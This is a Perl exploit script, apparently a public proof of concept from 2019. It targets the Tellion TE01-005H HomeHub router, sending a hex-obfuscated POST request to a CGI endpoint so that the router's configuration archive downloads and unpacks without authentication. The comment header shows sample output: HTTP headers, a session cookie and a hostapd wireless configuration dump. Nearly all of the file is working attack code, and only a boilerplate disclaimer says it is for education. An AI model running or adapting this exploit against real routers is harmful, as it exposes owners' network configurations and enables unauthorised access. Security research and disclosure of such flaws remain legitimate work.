#!/usr/bin/perl -w # # Tellion TE01-005H HomeHub Router Remote Configuration Disclosure # # Copyright 2019 (c) Todor Donev # # # Disclaimer: # This or previous programs are for Educational purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages # caused by direct or indirect use of the information or functionality provided by these programs. # The author or any Internet provider bears NO responsibility for content or misuse of these programs # or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, # system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's # responsibility. # # Use them at your own risk! # # (Dont do anything without permissions) # # # [ Tellion TE01-005H HomeHub Router Remote Configuration Disclosure # # [ ================================================================ # # [ Exploit Author: Todor Donev 2019 # # [ Initializing the browser # # [ >> Referer => http://192.168.1.101:2040 # # [ >> User-Agent => Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.5) Gecko/20050105 Epiphany/1.4.8 # # [ >> Content-Type => application/x-www-form-urlencoded # # [ << Connection => close # # [ << Accept-Ranges => bytes # # [ << Content-Length => 21410 # # [ << Content-Type => application/octet-stream # # [ << Client-Date => Wed, 02 Oct 2019 06:24:48 GMT # # [ << Client-Peer => 192.168.1.101:2040 # # [ << Client-Response-Num => 1 # # [ << Content-Disposition => attachment;filename="config.tgz" # # [ << Content-Transfer-Encoding => binary # # [ << Set-Cookie => QSESSIONID=86edd87d47e015af5c8f6a96028f0492; path=/ # # [ # # [ >> Configuration dump... # # [ # # [ # To avoid automatic reconfiguration, wps_configured=1 is set; # # [ # however, WPS is allowed otherwise. # # [ # Note wps_auth_type_flags=1 (open) and wps_encr_type_flags=1 (none) # # [ ignore_file_errors=1 # # [ logger_syslog=-1 # # [ logger_syslog_level=2 # # [ logger_stdout=-1 # # [ logger_stdout_level=2 # # [ debug=0 # # [ dump_file=/tmp/hostapd.dump # # [ ctrl_interface=/var/run/hostapd # # [ ctrl_interface_group=0 # # [ ssid=SoIP # # [ dtim_period=2 # # [ max_num_sta=255 # # [ macaddr_acl=0 # # [ auth_algs=1 # # [ ignore_broadcast_ssid=0 # # [ wme_enabled=0 # # [ ieee8021x=0 # # [ eapol_version=2 # # [ eapol_key_index_workaround=0 # # [ eap_server=1 # # [ eap_user_file=/etc/wpa2/hostapd.eap_user # # [ wpa=0 # # [ # # [ ****** # # [ ****** # use strict; use HTTP::Request; use LWP::UserAgent; use WWW::UserAgent::Random; use Gzip::Faster; my $host = shift || 'https://192.168.1.1'; # Full path url to the store $host =~ s|/$||; print "\033[2J"; #clear the screen print "\033[0;0H"; #jump to 0,0 print STDERR "[ Tellion TE01-005H HomeHub Router Remote Configuration Disclosure\n"; print STDERR "[ ================================================================\n"; print STDERR "[ Exploit Author: Todor Donev 2019 \n"; print STDERR "[ e.g. perl $0 https://target:port/\n" and exit if ($host !~ m/^http/); print STDERR "[ Initializing the browser\n"; my $user_agent = rand_ua("browsers"); my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 }); $browser->timeout(30); $browser->agent($user_agent); my $target = $host."\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x73\x79\x73\x74\x65\x6d\x5f\x63\x6f\x6e\x66\x69\x67\x5f\x66\x69\x6c\x65"; my $payload = "\x63\x6f\x6e\x66\x69\x67\x5f\x63\x6d\x64\x3d\x25\x43\x30\x25\x46\x41\x25\x43\x30\x25\x45\x35"; my $request = HTTP::Request->new (POST => $target,[Content_Type => "application/x-www-form-urlencoded",Referer => $host], $payload); my $response = $browser->request($request) or die "[ Exploit Failed: $!"; print STDERR "[ >> $_ => ", $request->header($_), "\n" for $request->header_field_names; print STDERR "[ << $_ => ", $response->header($_), "\n" for $response->header_field_names; my $gzip = $response->content(); print STDERR "[\n[ >> Configuration dump...\n[\n"; print "[ ", $_, "\n" for split(/\n/,gunzip($gzip));